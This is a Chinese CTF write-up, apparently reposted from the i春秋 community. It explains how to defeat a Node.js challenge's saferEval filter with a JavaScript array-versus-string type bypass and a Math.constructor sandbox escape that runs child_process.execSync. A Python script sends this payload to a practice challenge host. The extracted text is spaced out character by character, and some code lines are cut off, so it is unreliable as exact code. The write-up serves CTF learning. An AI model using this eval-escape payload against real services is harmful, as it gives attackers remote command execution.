搜索

[19658] 2020-10-29_CTF经典赛题丨这个EXP逆向解题思路太到位了，值得收藏！

文档创建者：s7ckTeam
浏览次数：0
最后更新：2025-01-18
2020-10-29_CTF经典赛题丨这个EXP逆向解题思路太到位了，值得收藏！ C T F 经 典 赛 题 丨 这 个 E X P 逆 向 解 题 思 路 太 到 位 了 ， 值 得 收 藏 ！ i 春 秋   2 0 2 0 - 1 0 - 2 9 本 文 是   i   春 秋 论 坛 作 家 「 x i a o l e u n g 」 表 哥 分 享 的 技 术 文 章 ， 公 众 号 旨 在 为 大 家 提 供 更 多 的 学 习 方 法 与 技 能 技 巧 ， 文 章 仅 供 学 习 参 考 。 题 目 来 源 ： [ N P U C T F 2 0 2 0 ] 这 是 一 道 经 典 的 C T F 赛 题 ， 作 者 详 述 了 从 E X P 反 向 分 析 的 思 路 ， 解 题 过 程 中 对 J a v a S c r i p t 有 了 更 深 刻 的 理 解 ， 同 时 也 学 习 到 了 通 过 C o n s t r u c t o r 实 现 R c e 的 方 法 。 题 目 源 码 题 目 源 码
J a v a S c r i p t 弱 类 型 比 较 弱 类 型 比 较 题 目 很 明 显 存 在 一 个 任 意 代 码 执 行 问 题 ， 但 是 要 想 调 用 到 s a f e r E v a l 必 须 得 通 过 第 一 个 分 支 。 a p p . p o s t ( ' / ' ,   f u n c t i o n   ( r e q ,   r e s )   {     l e t   r e s u l t   =   ' ' ;     c o n s t   r e s u l t s   =   r e q . s e s s i o n . r e s u l t s   | |   [ ] ;     c o n s t   {   e ,   f i r s t ,   s e c o n d   }   =   r e q . b o d y ;     i f   ( f i r s t   & &   s e c o n d   & &   f i r s t . l e n g t h   = = =   s e c o n d . l e n g t h   & &   f i r s t ! = = s e c o n d   & &   m d 5 ( f i r s t + k e y s [ 0 ] )   = = =   m d 5 ( s e c o n d + k e y s [         i f   ( r e q . b o d y . e )   {             t r y   {                 r e s u l t   =   s a f e r E v a l ( r e q . b o d y . e )   | |   ' W r o n g   W r o n g   W r o n g ! ! ! ' ;             }   c a t c h   ( e )   {                 c o n s o l e . l o g ( e ) ;                 r e s u l t   =   ' W r o n g   W r o n g   W r o n g ! ! ! ' ;             }             r e s u l t s . u n s h i f t ( ` $ { r e q . b o d y . e } = $ { r e s u l t } ` ) ;         }     }   e l s e   {         r e s u l t s . u n s h i f t ( ' N o t   v e r i f i e d ! ' ) ;     }     i f   ( r e s u l t s . l e n g t h   >   1 3 )   {         r e s u l t s . p o p ( ) ;     }     r e q . s e s s i o n . r e s u l t s   =   r e s u l t s ;     r e s . s e n d ( r e n d e r ( r e q . s e s s i o n . r e s u l t s ) ) ; } ) ; f u n c t i o n   s a f e r E v a l ( s t r )   {     i f   ( s t r . r e p l a c e ( / ( ? : M a t h ( ? : . w + ) ? ) | [ ( ) + - * / & | ^ % < > = , ? : ] | ( ? : d + . ? d * ( ? : e d + ) ? ) |   / g ,   ' ' ) )   {         r e t u r n   n u l l ;     }     r e t u r n   e v a l ( s t r ) ; } 题 目 分 析 题 目 分 析
第 一 个 分 支 很 明 显 需 要 我 们 传 入 的 f i r s t . l e n g t h 和 s e c o n d . l e n g t h 长 度 要 相 等 ， f i r s t 的 值 和 s e c o n d 的 值 不 能 相 等 ， 但 是 f i r s t 的 值 和 s e c o n d 的 值 加 盐 后 的 M D 5 值 却 又 要 相 等 。 要 想 绕 过 这 儿 还 得 从 J a v a S c r i p t 的 弱 类 型 比 较 说 起 ， 我 们 用 一 段 代 码 来 看 在 J a v a S c r i p t 中 的 类 型 比 较 ： 可 以 看 到 数 组 [ 1 ] = = 1 在 两 个 等 于 号 时 是 返 回 t r u e 的 ， 而 在 三 个 等 于 号 时 会 返 回 f a l s e 。 这 一 点 是 和 p h p 一 样 的 。 而 在 J a v a S c r i p t 中 各 个 数 据 类 型 的 相 加 呢 ？ 可 以 看 到 对 象 和 字 符 串 相 加 最 后 得 到 的 是 字 符 串 。 而 数 组 和 字 符 串 相 加 最 后 也 是 得 到 字 符 串 。 所 以 可 以 基 本 得 出 结 论 就 是 ： n o d e 中 任 何 数 据 类 型 和 字 符 串 相 加 最 后 得 到 的 都 是 字 符 串 。 中 任 何 数 据 类 型 和 字 符 串 相 加 最 后 得 到 的 都 是 字 符 串 。 而 长 度 l e n g t h 属 性 对 于 字 符 串 是 返 回 字 符 串 长 度 ， 而 数 组 是 返 回 数 组 元 素 个 数 。 而 数 字 是 没 有 l e n g t h 的 。   i f   ( f i r s t   & &   s e c o n d   & &   f i r s t . l e n g t h   = = =   s e c o n d . l e n g t h   & &   f i r s t ! = = s e c o n d   & &   m d 5 ( f i r s t + k e y s [ 0 ] )   = = =   m d 5 ( s e c o n d + k e y s [
要 满 足 f i r s t   & &   s e c o n d   & &   f i r s t . l e n g t h   = = =     s e c o n d . l e n g t h   & &   f i r s t ! = = s e c o n d   & &   m d 5 ( f i r s t + k e y s [ 0 ] )     = = =   m d 5 ( s e c o n d + k e y s [ 0 ] )   结 合 上 面 的 结 论 ， 我 们 想 要 f i r s t   和 s e c o n d 长 度 一 样 而 它 们 内 容 又 不 相 等 ， 但 是 它 们 m d 5 加 盐 后 的 值 又 要 相 等 。 可 以 构 造 如 下 p a y l o a d ： 这 是 因 为 数 组 利 用 了 任 何 数 据 类 型 加 上 字 符 串 都 会 转 变 称 为 字 符 串 的 特 性 。 同 时 数 组 和 字 符 串 的 长 度 都 是 1 ， 但 是 它 们 却 不 全 等 。 最 终 拼 接 上 字 符 串 都 是 0 拼 接 k e y [ 0 ] ， 因 此 m d 5 加 盐 后 的 值 会 是 相 等 的 。 构 造 函 数 执 行 任 意 代 码 构 造 函 数 执 行 任 意 代 码 这 道 题 的 第 二 关 我 一 直 没 做 出 来 , 虽 然 看 正 则 就 知 道 是 用 m a t h 去 R C E 。 题 目 关 键 代 码 ： { " e " : p a y l o d , " f i r s t " : [ 0 ] , " s e c o n d " : " 0 " } i m p o r t   r e q u e s t s i m p o r t   j s o n h e a d e r s   =   {         " C o n t e n t - T y p e " : " a p p l i c a t i o n / j s o n " } u r l   =   " h t t p : / / f f 8 e f e c b - b 1 b c - 4 d f 1 - a f 3 d - 2 4 9 b 2 8 5 a 0 c 5 4 . n o d e 3 . b u u o j . c n / " d a t a   =   { " e " : ' p a y l o d ' , " f i r s t " : [ 0 ] , " s e c o n d " : " 0 " } r   =   r e q u e s t s . p o s t ( u r l , d a t a = j s o n . d u m p s ( d a t a ) , h e a d e r s = h e a d e r s ) p r i n t ( r . t e x t )
从 正 则 可 以 看 出 只 能 嵌 套 M a t h ， 而 且 M a t h 只 能 用 一 个 点 ， 也 就 是 只 能 用 一 层 属 性 。 我 们 直 接 从 最 终 E X P 来 一 层 层 分 析 ： M a t h = >   是 什 么 意 思 ？ 我 们 来 看 个 简 单 的 例 子 ： 可 以 发 现 最 终 是 生 成 了 个 函 数 。 是 的 这 就 是 我 们 熟 悉 的 匿 名 函 数 。 x   = >   x   *   x   相 当 于 ： 同 理 a   =   x = > x * x   相 当 于 命 名 了 一 个 名 字 为 a 的 函 数 ： 那 么 ( x = > x + x ) ( 2 ) 呢 ？ 其 实 就 相 当 于 往 这 个 函 数 里 面 传 入 参 数 2 ： f u n c t i o n   s a f e r E v a l ( s t r )   {     i f   ( s t r . r e p l a c e ( / ( ? : M a t h ( ? : . w + ) ? ) | [ ( ) + - * / & | ^ % < > = , ? : ] | ( ? : d + . ? d * ( ? : e d + ) ? ) |   / g ,   ' ' ) )   {         r e t u r n   n u l l ;     }     r e t u r n   e v a l ( s t r ) ; } ( M a t h = > (         M a t h = M a t h . c o n s t r u c t o r ,         M a t h . x = M a t h . c o n s t r u c t o r (                 M a t h . f r o m C h a r C o d e ( 1 1 4 , 1 0 1 , 1 1 6 , 1 1 7 , 1 1 4 , 1 1 0 , 3 2 , 1 1 2 , 1 1 4 , 1 1 1 , 9 9 , 1 0 1 , 1 1 5 , 1 1 5 , 4 6 , 1 0 9 , 9 7 , 1 0 5 , 1 1 0 , 7 7 , 1 1 1 , 1 0 0 , 1 1 7 , 1 0 8 , 1 0 1 , 4 6 , 1 1 4 , 1 0 1 ,                 ) ( ) ) ) ( M a t h + 1 ) f u n c t i o n   ( x )   {         r e t u r n   x   *   x ; }
我 们 再 回 到 p a y l o a d 本 身 ( M a t h = M a t h . c o n s t r u c t o r , M a t h . x = M a t h . c o n s t r u c t o r ( . . . . . . ) )   可 以 清 楚 地 看 到 最 外 层 括 号 是 一 个 逗 号 运 算 ， 而 逗 号 运 算 我 们 知 道 是 从 左 往 右 运 算 再 最 后 返 回 最 右 边 的 值 。 我 们 由 此 得 知 这 里 是 执 行 这 么 个 运 算 ： 而 这 又 是 什 么 呢 ？ 我 们 直 接 逐 层 测 试 的 M a t h . c o n s t r u c t o r   ： 可 以 见 到 第 一 层 返 回 的 f u n c t i o n   o b j e c t (   ) , 它 是 f u n c t i o n 的 对 象 原 型 ， 而 我 们 知 道 O b j e c t 的 构 造 器 是 指 向 F u n c t i o n 的 所 以 第 二 层 会 出 现 F u n c t i o n 。 而 F u n c t i o n 是 构 造 函 数 能 够 创 建 函 数 。 可 以 简 单 理 解 它 和 e v a l 类 似 。 我 们 可 以 测 试 一 个 例 子 ： 可 以 直 接 看 到 结 果 ， M a t h . c o n s t r u c t o r . c o n s t r u c t o r ( )   和 构 造 函 数 n e w   F u n c t i o n (   )   是 等 效 的 。 M a t h . c o n s t r u c t o r . c o n s t r u c t o r ( . . . . . ) v a r   s u m   =   M a t h . c o n s t r u c t o r . c o n s t r u c t o r ( ' a ' ,   ' b ' ,   ' r e t u r n   a   +   b ' ) ; s u m ( 1 , 2 ) ; v a r   f u n   =   n e w   F u n c t i o n ( ' a ' ,   ' b ' ,   ' r e t u r n   a   +   b ' ) ; f u n ( 1 , 2 )
当 然 这 个 不 止 在 M a t h 中 其 他 任 意 函 数 应 该 也 是 类 似 的 。 例 如 ： a l e r t (   ) 而 p a y l o a d 的 最 里 面 f r o m C h a r C o d e 就 很 容 易 理 解 了 ， 把 A I I S C 码 转 换 为 字 符 串 ， 那 么 生 成 p a y l o a d 脚 本 如 下 ： 最 终 最 终 E X P i m p o r t   r e e n c o d e   =   l a m b d a   c o d e :   l i s t ( m a p ( o r d , c o d e ) ) d e c o d e   =   l a m b d a   c o d e :   " " . j o i n ( m a p ( c h r , c o d e ) ) a = f " " " ( m 0 = > (                 m 0 = m 0 . c o n s t r u c t o r ,                 m 0 . x = m 0 . c o n s t r u c t o r (                         m 0 . f r o m C h a r C o d e ( { e n c o d e ( " r e t u r n   p r o c e s s . m a i n M o d u l e . r e q u i r e ( ' c h i l d _ p r o c e s s ' ) . e x e c S y n c ( ' c a t   / f l a g ' ) " ) } )                 ) ( )         ) ) ( M a t h + 1 ) " " " a = r e . s u b ( r " [ s [ ] ] " ,   " " ,   a ) . r e p l a c e ( " m 0 " , " M a t h " ) p r i n t ( a ) i m p o r t   r e q u e s t s i m p o r t   j s o n h e a d e r s   =   {         " C o n t e n t - T y p e " : " a p p l i c a t i o n / j s o n " } u r l   =   " h t t p : / / 1 4 b 5 a e 3 b - e 4 4 4 - 4 e 5 b - 9 e 2 b - 1 b a 3 1 0 0 f c 0 8 5 . n o d e 3 . b u u o j . c n / " d a t a   =   { " e " : ' ( M a t h = > ( M a t h = M a t h . c o n s t r u c t o r , M a t h . x = M a t h . c o n s t r u c t o r ( M a t h . f r o m C h a r C o d e ( 1 1 4 , 1 0 1 , 1 1 6 , 1 1 7 , 1 1 4 , 1 1 0 , 3 2 , 1 1 2 , 1 1 4 , 1 1 1 , 9 9 , 1 0 1 , 1 1 5 , 1 1 5 , 4 6 , 1 0 9 , 9 7 , 1 0 5 , 1 1 0 , 7 7 , 1 1 1 , 1 0 0 , 1 1 7 , 1 0 8 , 1 0 1 , 4 6 , 1 1 4 , 1 0 1 , 1 1 3 , 1 1 7 , 1 0 5 , 1 1 4 , 1 0 1 , 4 0 , 3 9 , 9 9 , 1 0 4 , 1 0 5 , 1 0 8 , 1 0 0 , 9 5 , 1 1 2 , 1 1 4 , 1 1 1 , 9 9 , 1 0 1 , 1 1 5 , 1 1 5 , 3 9 , 4 1 , 4 6 , 1 0 1 , 1 2 0 , 1 0 1 , 9 9 , 8 3 , 1 2 1 , 1 1 0 , 9 9 , 4 0 , 3 9 , 9 9 , 9 7 , 1 1 6 , 3 2 , 4 7 , 1 0 2 , 1 0 8 , 9 7 , 1 0 3 , 3 9 , 4 1 ) ) ( ) ) ) ( M a t h + 1 ) ' r   =   r e q u e s t s . p o s t ( u r l , d a t a = j s o n . d u m p s ( d a t a ) , h e a d e r s = h e a d e r s ) p r i n t ( r . t e x t )
今 天 的 文 章 分 享 ， 小 伙 伴 们 看 懂 了 吗 ？ 文 章 素 材 来 源 于 i 春 秋 社 区 如 果 想 要 系 统 全 面 学 习 网 络 安 全 课 程 ， 可 以 报 名 i 春 秋 广 州 广 州 渗 透 测 试 工 程 师 线 下 就 业 班 ， 仅 剩 最 后 1 2 席 ， 现 在 报 名 还 可 享 受 助 学 大 礼 包 助 学 大 礼 包 ！ 更 多 课 程 咨 询 ， 识 别 下 方 二 维 码 ， 培 训 老 师 一 对 一 为 您 解 答 疑 惑 ！
  快 速 咨 询 入 口 快 速 咨 询 入 口 因 为 公 众 号 平 台 改 变 了 推 送 规 则 ， 文 章 的 更 新 不 再 按 照 推 送 时 间 排 序 ， 如 果 想 及 时 查 看 安 全 技 能 相 关 文 章 ， 请 这 样 操 作 ： 1 、 在 每 一 次 阅 读 后 点 在 每 一 次 阅 读 后 点 “ 在 看 在 看 ” ； ； 2 、 设 为 星 标 设 为 星 标 ，   点 击 公 众 号 名 称 “ i 春 秋 ” ， 再 点 右 上 角 的 “ . . . ” ， 点 “ 设 为 星 标 ” 文 末 下 方 点 个 赞 赞 和 在 看 在 看 哦 i 春 秋 官 方 公 众 号 为 大 家 提 供 春 秋 官 方 公 众 号 为 大 家 提 供 前 沿 的 网 络 安 全 技 术 简 单 易 懂 的 实 用 工 具 紧 张 刺 激 的 安 全 竞 赛 还 有 网 络 安 全 大 讲 堂 更 多 技 能 等 你 来 解 锁

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理